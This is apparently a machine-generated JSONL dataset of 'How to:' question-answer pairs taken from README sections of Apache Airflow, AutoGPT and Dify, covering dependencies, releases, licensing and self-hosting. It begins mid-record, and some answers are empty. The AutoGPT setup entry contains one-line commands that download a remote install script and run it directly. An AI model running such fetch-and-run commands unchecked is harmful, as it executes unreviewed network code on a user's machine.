terminate support earlier\n   if circumstances require it.", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 43877, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/airflow", "collected_at": "2026-01-16T23:27:50.619037"}
{"id": "gh_1e6fcba38e89", "question": "How to: Base OS support for reference Airflow images", "question_body": "About apache/airflow", "answer": "The Airflow Community provides conveniently packaged container images that are published whenever\nwe publish an Apache Airflow release. Those images contain:\n\n* Base OS with necessary packages to install Airflow (stable Debian OS)\n* Base Python installation in versions supported at the time of release for the MINOR version of\n  Airflow released (so there could be different versions for 2.3 and 2.2 line for example)\n* Libraries required to connect to supported Databases (again the set of databases supported depends\n  on the MINOR version of Airflow)\n* Predefined set of popular providers (for details see the [Dockerfile](https://raw.githubusercontent.com/apache/airflow/main/Dockerfile)).\n* Possibility of building your own, custom image where the user can choose their own set of providers\n  and libraries (see [Building the image](https://airflow.apache.org/docs/docker-stack/build.html))\n* In the future Airflow might also support a \"slim\" version without providers nor database clients installed\n\nThe version of the base OS image is the stable version of Debian. Airflow supports using all currently active\nstable versions - as soon as all Airflow dependencies support building, and we set up the CI pipeline for\nbuilding and testing the OS version. Approximately 6 months before the end-of-regular support of a\nprevious stable version of the OS, Airflow switches the images released to use the latest supported\nversion of the OS.\n\nFor example switch from ``Debian Bullseye`` to ``Debian Bookworm`` has been implemented\nbefore 2.8.0 release in October 2023 and ``Debian Bookworm`` will be the only option supported as of\nAirflow 2.10.0.\n\nUsers will continue to be able to build their images using stable Debian releases until the end of regular\nsupport and building and verifying of the images happens in our CI but no unit tests were executed using\nthis image in the `main` branch.", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 43877, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/airflow", "collected_at": "2026-01-16T23:27:50.619047"}
{"id": "gh_e1b11ec66408", "question": "How to: Approach to dependencies of Airflow", "question_body": "About apache/airflow", "answer": "Airflow has a lot of dependencies - direct and transitive, also Airflow is both - library and application,\ntherefore our policies to dependencies has to include both - stability of installation of application,\nbut also ability to install newer version of dependencies for those users who develop Dags. We developed\nthe approach where `constraints` are used to make sure airflow can be installed in a repeatable way, while\nwe do not limit our users to upgrade most of the dependencies. As a result we decided not to upper-bound\nversion of Airflow dependencies by default, unless we have good reasons to believe upper-bounding them is\nneeded because of importance of the dependency as well as risk it involves to upgrade specific dependency.\nWe also upper-bound the dependencies that we know cause problems.\n\nThe constraint mechanism of ours takes care about finding and upgrading all the non-upper bound dependencies\nautomatically (providing that all the tests pass). Our `main` build failures will indicate in case there\nare versions of dependencies that break our tests - indicating that we should either upper-bind them or\nthat we should fix our code/tests to account for the upstream changes from those dependencies.\n\nWhenever we upper-bound such a dependency, we should always comment why we are doing it - i.e. we should have\na good reason why dependency is upper-bound. And we should also mention what is the condition to remove the\nbinding.", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 43877, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/airflow", "collected_at": "2026-01-16T23:27:50.619055"}
{"id": "gh_1b64671adaf2", "question": "How to: Approach for dependencies for Airflow Core", "question_body": "About apache/airflow", "answer": "Those dependencies are maintained in ``pyproject.toml``.\n\nThere are few dependencies that we decided are important enough to upper-bound them by default, as they are\nknown to follow predictable versioning scheme, and we know that new versions of those are very likely to\nbring breaking changes. We commit to regularly review and attempt to upgrade to the newer versions of\nthe dependencies as they are released, but this is manual process.\n\nThe important dependencies are:\n\n* `SQLAlchemy`: upper-bound to specific MINOR version (SQLAlchemy is known to remove deprecations and\n   introduce breaking changes especially that support for different Databases varies and changes at\n   various speed)\n* `Alembic`: it is important to handle our migrations in predictable and performant way. It is developed\n   together with SQLAlchemy. Our experience with Alembic is that it very stable in MINOR version\n* `Flask`: We are using Flask as the back-bone of our web UI and API. We know major version of Flask\n   are very likely to introduce breaking changes across those so limiting it to MAJOR version makes sense\n* `werkzeug`: the library is known to cause problems in new versions. It is tightly coupled with Flask\n   libraries, and we should update them together\n* `celery`: Celery is a crucial component of Airflow as it used for CeleryExecutor (and similar). Celery\n   [follows SemVer](https://docs.celeryq.dev/en/stable/contributing.html?highlight=semver#versions), so\n   we should upper-bound it to the next MAJOR version. Also, when we bump the upper version of the library,\n   we should make sure Celery Provider minimum Airflow version is updated.\n* `kubernetes`: Kubernetes is a crucial component of Airflow as it is used for the KubernetesExecutor\n   (and similar). Kubernetes Python library [follows SemVer](https://github.com/kubernetes-client/python#compatibility),\n   so we should upper-bound it to the next MAJOR version. Also, when we bump the upper version of the library,\n   we should make sure Kubernetes Provider minimum Airflow version is updated.", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 43877, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/airflow", "collected_at": "2026-01-16T23:27:50.619065"}
{"id": "gh_065b363e3704", "question": "How to: Approach for dependencies in Airflow Providers and extras", "question_body": "About apache/airflow", "answer": "The main part of the Airflow is the Airflow Core, but the power of Airflow also comes from a number of\nproviders that extend the core functionality and are released separately, even if we keep them (for now)\nin the same monorepo for convenience. You can read more about the providers in the\n[Providers documentation](https://airflow.apache.org/docs/apache-airflow-providers/index.html). We also\nhave set of policies implemented for maintaining and releasing community-managed providers as well\nas the approach for community vs. 3rd party providers in the [providers](https://github.com/apache/airflow/blob/main/PROVIDERS.rst) document.\n\nThose `extras` and `providers` dependencies are maintained in `provider.yaml` of each provider.\n\nBy default, we should not upper-bound dependencies for providers, however each provider's maintainer\nmight decide to add additional limits (and justify them with comment).", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 43877, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/airflow", "collected_at": "2026-01-16T23:27:50.619073"}
{"id": "gh_0210b245b18a", "question": "How to: Contributing", "question_body": "About apache/airflow", "answer": "Want to help build Apache Airflow? Check out our [contributors' guide](https://github.com/apache/airflow/blob/main/contributing-docs/README.rst) for a comprehensive overview of how to contribute, including setup instructions, coding standards, and pull request guidelines.\n\nIf you can't wait to contribute, and want to get started asap, check out the [contribution quickstart](https://github.com/apache/airflow/blob/main/contributing-docs/03a_contributors_quick_start_beginners.rst) here!\n\nOfficial Docker (container) images for Apache Airflow are described in [images](https://github.com/apache/airflow/blob/main/dev/breeze/doc/ci/02_images.md).", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 43877, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/airflow", "collected_at": "2026-01-16T23:27:50.619080"}
{"id": "gh_bb7f30253f78", "question": "How to: Voting Policy", "question_body": "About apache/airflow", "answer": "* Commits need a +1 vote from a committer who is not the author\n* When we do AIP voting, both PMC member's and committer's `+1s` are considered a binding vote.", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 43877, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/airflow", "collected_at": "2026-01-16T23:27:50.619085"}
{"id": "gh_3f8b16294abf", "question": "How to: Who uses Apache Airflow?", "question_body": "About apache/airflow", "answer": "We know about around 500 organizations that are using Apache Airflow (but there are likely many more)\n[in the wild](https://github.com/apache/airflow/blob/main/INTHEWILD.md).\n\nIf you use Airflow - feel free to make a PR to add your organisation to the list.", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 43877, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/airflow", "collected_at": "2026-01-16T23:27:50.619091"}
{"id": "gh_c8c44503ca76", "question": "How to: Who maintains Apache Airflow?", "question_body": "About apache/airflow", "answer": "Airflow is the work of the [community](https://github.com/apache/airflow/graphs/contributors),\nbut the [core committers/maintainers](https://people.apache.org/committers-by-project.html#airflow)\nare responsible for reviewing and merging PRs as well as steering conversations around new feature requests.\nIf you would like to become a maintainer, please review the Apache Airflow\n[committer requirements](https://github.com/apache/airflow/blob/main/COMMITTERS.rst#guidelines-to-become-an-airflow-committer).", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 43877, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/airflow", "collected_at": "2026-01-16T23:27:50.619097"}
{"id": "gh_f646270c2799", "question": "How to: What goes into the next release?", "question_body": "About apache/airflow", "answer": "Often you will see an issue that is assigned to specific milestone with Airflow version, or a PR that gets merged\nto the main branch and you might wonder which release the merged PR(s) will be released in or which release the fixed\nissues will be in. The answer to this is as usual - it depends on various scenarios. The answer is different for PRs and Issues.\n\nTo add a bit of context, we are following the [Semver](https://semver.org/) versioning scheme as described in\n[Airflow release process](https://airflow.apache.org/docs/apache-airflow/stable/release-process.html). More\ndetails are explained in detail in this README under the [Semantic versioning](#semantic-versioning) chapter, but\nin short, we have `MAJOR.MINOR.PATCH` versions of Airflow.\n\n* `MAJOR` version is incremented in case of breaking changes\n* `MINOR` version is incremented when there are new features added\n* `PATCH` version is incremented when there are only bug-fixes and doc-only changes\n\nGenerally we release `MINOR` versions of Airflow from a branch that is named after the MINOR version. For example\n`2.7.*` releases are released from `v2-7-stable` branch, `2.8.*` releases are released from `v2-8-stable`\nbranch, etc.\n\n1. Most of the time in our release cycle, when the branch for next `MINOR` branch is not yet created, all\nPRs merged to `main` (unless they get reverted), will find their way to the next `MINOR` release. For example\nif the last release is `2.7.3` and `v2-8-stable` branch is not created yet, the next `MINOR` release\nis `2.8.0` and all PRs merged to main will be released in `2.8.0`. However, some PRs (bug-fixes and\ndoc-only changes) when merged, can be cherry-picked to current `MINOR` branch and released in the\nnext `PATCHLEVEL` release. For example, if `2.8.1` is already released and we are working on `2.9.0dev`,  then\nmarking a PR with `2.8.2` milestone means that it will be cherry-picked to `v2-8-test` branch and\nreleased in `2.8.2rc1`, and eventually in `2.8.2`.\n\n2. When we prepare for the next `MINOR` release, we cut new `v2-*-test` and `v2-*-stable` branch\nand prepare `alpha`, `beta` releases for the next `MINOR` version, the PRs merged to main will still be\nreleased in the next `MINOR` release until `rc` version is cut. This is happening because the `v2-*-test`\nand `v2-*-stable` branches are rebased on top of main when next `beta` and `rc` releases are prepared.\nFor example, when we cut `2.10.0beta1` version, anything merged to main before `2.10.0rc1` is released,\nwill find its way to 2.10.0rc1.\n\n3. Then, once we prepare the first RC candidate for the MINOR release, we stop moving the `v2-*-test` and\n`v2-*-stable` branches and the PRs merged to main will be released in the next `MINOR` release.\nHowever, some PRs (bug-fixes and doc-only changes) when merged, can be cherry-picked to current `MINOR`\nbranch and released in the next `PATCHLEVEL` release - for example when the last released version from `v2-10-stable`\nbranch is `2.10.0rc1`, some of the PRs from main can be marked as `2.10.0` milestone by committers,\nthe release manager will try to cherry-pick them into the release branch.\nIf successful, they will be released in `2.10.0rc2` and subsequently in `2.10.0`. This also applies to\nsubsequent `PATCHLEVEL` versions. When for example `2.10.1` is already released, marking a PR with\n`2.10.2` milestone will mean that it will be cherry-picked to `v2-10-stable` branch and released in `2.10.2rc1`\nand eventually in `2.10.2`.\n\nThe final decision about cherry-picking is made by the release manager.\n\nMarking issues with a milestone is a bit different. Maintainers do not mark issues with a milestone usually,\nnormally they are only marked in PRs. If PR linked to the issue (and \"fixing it\") gets merged and released\nin a specific version following the process described above, the issue will be automatically closed, no\nmilestone will be set for the issue, you need to check the PR that fixed the issue to see which version\nit was released in.\n\nHowever, sometimes maintainers mark issues with specific milestone, which means that the\nissue is important to become a candidate to take a look when the release is being prepared. Since this is an\nOpen-Source project, where basically all contributors volunteer their time, there is no guarantee that specific\nissue will be fixed in specific version. We do not want to hold the release because some issue is not fixed,\nso in such case release manager will reassign such unfixed issues to the next milestone in case they are not\nfixed in time for the current release. Therefore, the milestone for issue is more of an intent that it should be\nlooked at, than promise it will be fixed in the version.\n\nMore context and **FAQ** about the patchlevel release can be found in the\n[What goes into the next release](dev/WHAT_GOES_INTO_THE_NEXT_RELEASE.md) document in the `dev` folder of the\nrepository.", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 43877, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/airflow", "collected_at": "2026-01-16T23:27:50.619112"}
{"id": "gh_73159b0a866d", "question": "How to: Can I use the Apache Airflow logo in my presentation?", "question_body": "About apache/airflow", "answer": "Yes! Be sure to abide by the Apache Foundation [trademark policies](https://www.apache.org/foundation/marks/#books) and the Apache Airflow [Brandbook](https://cwiki.apache.org/confluence/display/AIRFLOW/Brandbook). The most up-to-date logos are found in [this repo](https://github.com/apache/airflow/tree/main/airflow-core/docs/img/logos/) and on the Apache Software Foundation [website](https://www.apache.org/logos/about.html).", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 43877, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/airflow", "collected_at": "2026-01-16T23:27:50.619118"}
{"id": "gh_87b7cb7fcc6a", "question": "How to: Hosting Options", "question_body": "About Significant-Gravitas/AutoGPT", "answer": "- Download to self-host (Free!)\n   - [Join the Waitlist](https://bit.ly/3ZDijAI) for the cloud-hosted beta (Closed Beta - Public release Coming Soon!)", "tags": ["Significant-Gravitas"], "source": "github_gists", "category": "Significant-Gravitas", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 181156, "answer_score": 10, "has_code": false, "url": "https://github.com/Significant-Gravitas/AutoGPT", "collected_at": "2026-01-16T23:27:56.631785"}
{"id": "gh_aacbae50873e", "question": "How to: How to Self-Host the AutoGPT Platform", "question_body": "About Significant-Gravitas/AutoGPT", "answer": "> [!NOTE]\n> Setting up and hosting the AutoGPT Platform yourself is a technical process. \n> If you'd rather something that just works, we recommend [joining the waitlist](https://bit.ly/3ZDijAI) for the cloud-hosted beta.", "tags": ["Significant-Gravitas"], "source": "github_gists", "category": "Significant-Gravitas", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 181156, "answer_score": 10, "has_code": false, "url": "https://github.com/Significant-Gravitas/AutoGPT", "collected_at": "2026-01-16T23:27:56.631800"}
{"id": "gh_1d4ae936ca2e", "question": "How to: System Requirements", "question_body": "About Significant-Gravitas/AutoGPT", "answer": "Before proceeding with the installation, ensure your system meets the following requirements:\n\n#### Hardware Requirements\n- CPU: 4+ cores recommended\n- RAM: Minimum 8GB, 16GB recommended\n- Storage: At least 10GB of free space\n\n#### Software Requirements\n- Operating Systems:\n  - Linux (Ubuntu 20.04 or newer recommended)\n  - macOS (10.15 or newer)\n  - Windows 10/11 with WSL2\n- Required Software (with minimum versions):\n  - Docker Engine (20.10.0 or newer)\n  - Docker Compose (2.0.0 or newer)\n  - Git (2.30 or newer)\n  - Node.js (16.x or newer)\n  - npm (8.x or newer)\n  - VSCode (1.60 or newer) or any modern code editor\n\n#### Network Requirements\n- Stable internet connection\n- Access to required ports (will be configured in Docker)\n- Ability to make outbound HTTPS connections", "tags": ["Significant-Gravitas"], "source": "github_gists", "category": "Significant-Gravitas", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 181156, "answer_score": 10, "has_code": false, "url": "https://github.com/Significant-Gravitas/AutoGPT", "collected_at": "2026-01-16T23:27:56.631810"}
{"id": "gh_81de81213af1", "question": "How to: Updated Setup Instructions:", "question_body": "About Significant-Gravitas/AutoGPT", "answer": "We've moved to a fully maintained and regularly updated documentation site.\n\n👉 [Follow the official self-hosting guide here](https://docs.agpt.co/platform/getting-started/)\n\nThis tutorial assumes you have Docker, VSCode, git and npm installed.\n\n---\n\n#### ⚡ Quick Setup with One-Line Script (Recommended for Local Hosting)\n\nSkip the manual steps and get started in minutes using our automatic setup script.\n\nFor macOS/Linux:\n```\ncurl -fsSL https://setup.agpt.co/install.sh -o install.sh && bash install.sh\n```\n\nFor Windows (PowerShell):\n```\npowershell -c \"iwr https://setup.agpt.co/install.bat -o install.bat; ./install.bat\"\n```\n\nThis will install dependencies, configure Docker, and launch your local instance — all in one go.", "tags": ["Significant-Gravitas"], "source": "github_gists", "category": "Significant-Gravitas", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 181156, "answer_score": 10, "has_code": true, "url": "https://github.com/Significant-Gravitas/AutoGPT", "collected_at": "2026-01-16T23:27:56.631822"}
{"id": "gh_e1282d18f6ef", "question": "How to: 🧱 AutoGPT Frontend", "question_body": "About Significant-Gravitas/AutoGPT", "answer": "The AutoGPT frontend is where users interact with our powerful AI automation platform. It offers multiple ways to engage with and leverage our AI agents. This is the interface where you'll bring your AI automation ideas to life:\n\n   **Agent Builder:** For those who want to customize, our intuitive, low-code interface allows you to design and configure your own AI agents. \n   \n   **Workflow Management:** Build, modify, and optimize your automation workflows with ease. You build your agent by connecting blocks, where each block     performs a single action.\n   \n   **Deployment Controls:** Manage the lifecycle of your agents, from testing to production.\n   \n   **Ready-to-Use Agents:** Don't want to build? Simply select from our library of pre-configured agents and put them to work immediately.\n   \n   **Agent Interaction:** Whether you've built your own or are using pre-configured agents, easily run and interact with them through our user-friendly      interface.\n\n   **Monitoring and Analytics:** Keep track of your agents' performance and gain insights to continually improve your automation processes.\n\n[Read this guide](https://docs.agpt.co/platform/new_blocks/) to learn how to build your own custom blocks.", "tags": ["Significant-Gravitas"], "source": "github_gists", "category": "Significant-Gravitas", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 181156, "answer_score": 10, "has_code": true, "url": "https://github.com/Significant-Gravitas/AutoGPT", "collected_at": "2026-01-16T23:27:56.631833"}
{"id": "gh_4f702acf1c64", "question": "How to: 💽 AutoGPT Server", "question_body": "About Significant-Gravitas/AutoGPT", "answer": "The AutoGPT Server is the powerhouse of our platform This is where your agents run. Once deployed, agents can be triggered by external sources and can operate continuously. It contains all the essential components that make AutoGPT run smoothly.\n\n   **Source Code:** The core logic that drives our agents and automation processes.\n   \n   **Infrastructure:** Robust systems that ensure reliable and scalable performance.\n   \n   **Marketplace:** A comprehensive marketplace where you can find and deploy a wide range of pre-built agents.", "tags": ["Significant-Gravitas"], "source": "github_gists", "category": "Significant-Gravitas", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 181156, "answer_score": 10, "has_code": false, "url": "https://github.com/Significant-Gravitas/AutoGPT", "collected_at": "2026-01-16T23:27:56.631841"}
{"id": "gh_e79895b2863e", "question": "How to: **License Overview:**", "question_body": "About Significant-Gravitas/AutoGPT", "answer": "🛡️ **Polyform Shield License:**\nAll code and content within the `autogpt_platform` folder is licensed under the Polyform Shield License. This new project is our in-developlemt platform for building, deploying and managing agents._[Read more about this effort](https://agpt.co/blog/introducing-the-autogpt-platform)_\n\n🦉 **MIT License:**\nAll other portions of the AutoGPT repository (i.e., everything outside the `autogpt_platform` folder) are licensed under the MIT License. This includes the original stand-alone AutoGPT Agent, along with projects such as [Forge](https://github.com/Significant-Gravitas/AutoGPT/tree/master/classic/forge), [agbenchmark](https://github.com/Significant-Gravitas/AutoGPT/tree/master/classic/benchmark) and the [AutoGPT Classic GUI](https://github.com/Significant-Gravitas/AutoGPT/tree/master/classic/frontend).We also publish additional work under the MIT Licence in other repositories, such as [GravitasML](https://github.com/Significant-Gravitas/gravitasml) which is developed for and used in the AutoGPT Platform. See also our MIT Licenced [Code Ability](https://github.com/Significant-Gravitas/AutoGPT-Code-Ability) project.\n\n---", "tags": ["Significant-Gravitas"], "source": "github_gists", "category": "Significant-Gravitas", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 181156, "answer_score": 10, "has_code": false, "url": "https://github.com/Significant-Gravitas/AutoGPT", "collected_at": "2026-01-16T23:27:56.631860"}
{"id": "gh_ed4fb3bc90a1", "question": "How to: 🤖 AutoGPT Classic", "question_body": "About Significant-Gravitas/AutoGPT", "answer": "> Below is information about the classic version of AutoGPT.\n\n**🛠️ [Build your own Agent - Quickstart](classic/FORGE-QUICKSTART.md)**", "tags": ["Significant-Gravitas"], "source": "github_gists", "category": "Significant-Gravitas", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 181156, "answer_score": 10, "has_code": false, "url": "https://github.com/Significant-Gravitas/AutoGPT", "collected_at": "2026-01-16T23:27:56.631869"}
{"id": "gh_585005ad5e17", "question": "How to: 🎯 Benchmark", "question_body": "About Significant-Gravitas/AutoGPT", "answer": "**Measure your agent's performance!** The `agbenchmark` can be used with any agent that supports the agent protocol, and the integration with the project's [CLI] makes it even easier to use with AutoGPT and forge-based agents. The benchmark offers a stringent testing environment. Our framework allows for autonomous, objective performance evaluations, ensuring your agents are primed for real-world action.\n📦 [`agbenchmark`](https://pypi.org/project/agbenchmark/) on Pypi\n | \n📘 [Learn More](https://github.com/Significant-Gravitas/AutoGPT/tree/master/classic/benchmark) about the Benchmark", "tags": ["Significant-Gravitas"], "source": "github_gists", "category": "Significant-Gravitas", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 181156, "answer_score": 10, "has_code": false, "url": "https://github.com/Significant-Gravitas/AutoGPT", "collected_at": "2026-01-16T23:27:56.631879"}
{"id": "gh_54dca5494580", "question": "How to: Get help - [Discord 💬](https://discord.gg/autogpt)", "question_body": "About Significant-Gravitas/AutoGPT", "answer": "[![Join us on Discord](https://invidget.switchblade.xyz/autogpt)](https://discord.gg/autogpt)\n\nTo report a bug or request a feature, create a [GitHub Issue](https://github.com/Significant-Gravitas/AutoGPT/issues/new/choose). Please ensure someone else hasn't created an issue for the same topic.", "tags": ["Significant-Gravitas"], "source": "github_gists", "category": "Significant-Gravitas", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 181156, "answer_score": 10, "has_code": false, "url": "https://github.com/Significant-Gravitas/AutoGPT", "collected_at": "2026-01-16T23:27:56.631890"}
{"id": "gh_5b724fc560d0", "question": "How to: 🔄 Agent Protocol", "question_body": "About Significant-Gravitas/AutoGPT", "answer": "To maintain a uniform standard and ensure seamless compatibility with many current and future applications, AutoGPT employs the [agent protocol](https://agentprotocol.ai/) standard by the AI Engineer Foundation. This standardizes the communication pathways from your agent to the frontend and benchmark.\n\n---", "tags": ["Significant-Gravitas"], "source": "github_gists", "category": "Significant-Gravitas", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 181156, "answer_score": 10, "has_code": false, "url": "https://github.com/Significant-Gravitas/AutoGPT", "collected_at": "2026-01-16T23:27:56.631897"}
{"id": "gh_d5f971c34783", "question": "How to: Stars stats", "question_body": "About Significant-Gravitas/AutoGPT", "answer": "", "tags": ["Significant-Gravitas"], "source": "github_gists", "category": "Significant-Gravitas", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 181156, "answer_score": 10, "has_code": true, "url": "https://github.com/Significant-Gravitas/AutoGPT", "collected_at": "2026-01-16T23:27:56.631903"}
{"id": "gh_4bf71905bafe", "question": "How to: ⚡ Contributors", "question_body": "About Significant-Gravitas/AutoGPT", "answer": "", "tags": ["Significant-Gravitas"], "source": "github_gists", "category": "Significant-Gravitas", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 181156, "answer_score": 10, "has_code": false, "url": "https://github.com/Significant-Gravitas/AutoGPT", "collected_at": "2026-01-16T23:27:56.631910"}
{"id": "gh_27b124cc4b3f", "question": "How to: Quick start", "question_body": "About langgenius/dify", "answer": "> Before installing Dify, make sure your machine meets the following minimum system requirements:\n>\n> - CPU >= 2 Core\n> - RAM >= 4 GiB\nThe easiest way to start the Dify server is through [Docker Compose](docker/docker-compose.yaml). Before running Dify with the following commands, make sure that [Docker](https://docs.docker.com/get-docker/) and [Docker Compose](https://docs.docker.com/compose/install/) are installed on your machine:\n\n```bash\ncd dify\ncd docker\ncp .env.example .env\ndocker compose up -d\n```\n\nAfter running, you can access the Dify dashboard in your browser at [http://localhost/install](http://localhost/install) and start the initialization process.\n\n#### Seeking help\n\nPlease refer to our [FAQ](https://docs.dify.ai/getting-started/install-self-hosted/faqs) if you encounter problems setting up Dify. Reach out to [the community and us](#community--contact) if you are still having issues.\n\n> If you'd like to contribute to Dify or do additional development, refer to our [guide to deploying from source code](https://docs.dify.ai/getting-started/install-self-hosted/local-source-code)", "tags": ["langgenius"], "source": "github_gists", "category": "langgenius", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 126155, "answer_score": 10, "has_code": true, "url": "https://github.com/langgenius/dify", "collected_at": "2026-01-16T23:27:58.327571"}
{"id": "gh_de87cb80df31", "question": "How to: Key features", "question_body": "About langgenius/dify", "answer": "**1. Workflow**:\nBuild and test powerful AI workflows on a visual canvas, leveraging all the following features and beyond.\n\n**2. Comprehensive model support**:\nSeamless integration with hundreds of proprietary / open-source LLMs from dozens of inference providers and self-hosted solutions, covering GPT, Mistral, Llama3, and any OpenAI API-compatible models. A full list of supported model providers can be found [here](https://docs.dify.ai/getting-started/readme/model-providers).\n\n![providers-v5](https://github.com/langgenius/dify/assets/13230914/5a17bdbe-097a-4100-8363-40255b70f6e3)\n\n**3. Prompt IDE**:\nIntuitive interface for crafting prompts, comparing model performance, and adding additional features such as text-to-speech to a chat-based app.\n\n**4. RAG Pipeline**:\nExtensive RAG capabilities that cover everything from document ingestion to retrieval, with out-of-box support for text extraction from PDFs, PPTs, and other common document formats.\n\n**5. Agent capabilities**:\nYou can define agents based on LLM Function Calling or ReAct, and add pre-built or custom tools for the agent. Dify provides 50+ built-in tools for AI agents, such as Google Search, DALL·E, Stable Diffusion and WolframAlpha.\n\n**6. LLMOps**:\nMonitor and analyze application logs and performance over time. You could continuously improve prompts, datasets, and models based on production data and annotations.\n\n**7. Backend-as-a-Service**:\nAll of Dify's offerings come with corresponding APIs, so you could effortlessly integrate Dify into your own business logic.", "tags": ["langgenius"], "source": "github_gists", "category": "langgenius", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 126155, "answer_score": 10, "has_code": false, "url": "https://github.com/langgenius/dify", "collected_at": "2026-01-16T23:27:58.327591"}
{"id": "gh_62ea02813a2b", "question": "How to: Using Dify", "question_body": "About langgenius/dify", "answer": "- **Cloud\n**\n  We host a [Dify Cloud](https://dify.ai) service for anyone to try with zero setup. It provides all the capabilities of the self-deployed version, and includes 200 free GPT-4 calls in the sandbox plan.\n\n- **Self-hosting Dify Community Edition\n**\n  Quickly get Dify running in your environment with this [starter guide](#quick-start).\n  Use our [documentation](https://docs.dify.ai) for further references and more in-depth instructions.\n\n- **Dify for enterprise / organizations\n**\n  We provide additional enterprise-centric features. [Send us an email](mailto:business@dify.ai?subject=%5BGitHub%5DBusiness%20License%20Inquiry) to discuss your enterprise needs.\n> For startups and small businesses using AWS, check out [Dify Premium on AWS Marketplace](https://aws.amazon.com/marketplace/pp/prodview-t22mebxzwjhu6) and deploy it to your own AWS VPC with one click. It's an affordable AMI offering with the option to create apps with custom logo and branding.", "tags": ["langgenius"], "source": "github_gists", "category": "langgenius", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 126155, "answer_score": 10, "has_code": false, "url": "https://github.com/langgenius/dify", "collected_at": "2026-01-16T23:27:58.327600"}
{"id": "gh_0e0e4a155d7f", "question": "How to: Staying ahead", "question_body": "About langgenius/dify", "answer": "Star Dify on GitHub and be instantly notified of new releases.\n\n![star-us](https://github.com/langgenius/dify/assets/13230914/b823edc1-6388-4e25-ad45-2f6b187adbb4)", "tags": ["langgenius"], "source": "github_gists", "category": "langgenius", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 126155, "answer_score": 10, "has_code": false, "url": "https://github.com/langgenius/dify", "collected_at": "2026-01-16T23:27:58.327606"}
{"id": "gh_1f04a38676ba", "question": "How to: Custom configurations", "question_body": "About langgenius/dify", "answer": "If you need to customize the configuration, please refer to the comments in our [.env.example](docker/.env.example) file and update the corresponding values in your `.env` file. Additionally, you might need to make adjustments to the `docker-compose.yaml` file itself, such as changing image versions, port mappings, or volume mounts, based on your specific deployment environment and requirements. After making any changes, please re-run `docker-compose up -d`. You can find the full list of available environment variables [here](https://docs.dify.ai/getting-started/install-self-hosted/environments).\n\n#### Customizing Suggested Questions\n\nYou can now customize the \"Suggested Questions After Answer\" feature to better fit your use case. For example, to generate longer, more technical questions:\n\n```bash", "tags": ["langgenius"], "source": "github_gists", "category": "langgenius", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 126155, "answer_score": 10, "has_code": true, "url": "https://github.com/langgenius/dify", "collected_at": "2026-01-16T23:27:58.327614"}
{"id": "gh_04b9167b6c07", "question": "How to: In your .env file", "question_body": "About langgenius/dify", "answer": "SUGGESTED_QUESTIONS_PROMPT='Please help me predict the five most likely technical follow-up questions a developer would ask. Focus on implementation details, best practices, and architecture considerations. Keep each question between 40-60 characters. Output must be JSON array: [\"question1\",\"question2\",\"question3\",\"question4\",\"question5\"]'\nSUGGESTED_QUESTIONS_MAX_TOKENS=512\nSUGGESTED_QUESTIONS_TEMPERATURE=0.3\n```\n\nSee the [Suggested Questions Configuration Guide](docs/suggested-questions-configuration.md) for detailed examples and usage instructions.", "tags": ["langgenius"], "source": "github_gists", "category": "langgenius", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 126155, "answer_score": 10, "has_code": true, "url": "https://github.com/langgenius/dify", "collected_at": "2026-01-16T23:27:58.327621"}
{"id": "gh_1668e2b2cef1", "question": "How to: Metrics Monitoring with Grafana", "question_body": "About langgenius/dify", "answer": "Import the dashboard to Grafana, using Dify's PostgreSQL database as data source, to monitor metrics in granularity of apps, tenants, messages, and more.\n\n- [Grafana Dashboard by @bowenliang123](https://github.com/bowenliang123/dify-grafana-dashboard)", "tags": ["langgenius"], "source": "github_gists", "category": "langgenius", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 126155, "answer_score": 10, "has_code": false, "url": "https://github.com/langgenius/dify", "collected_at": "2026-01-16T23:27:58.327627"}
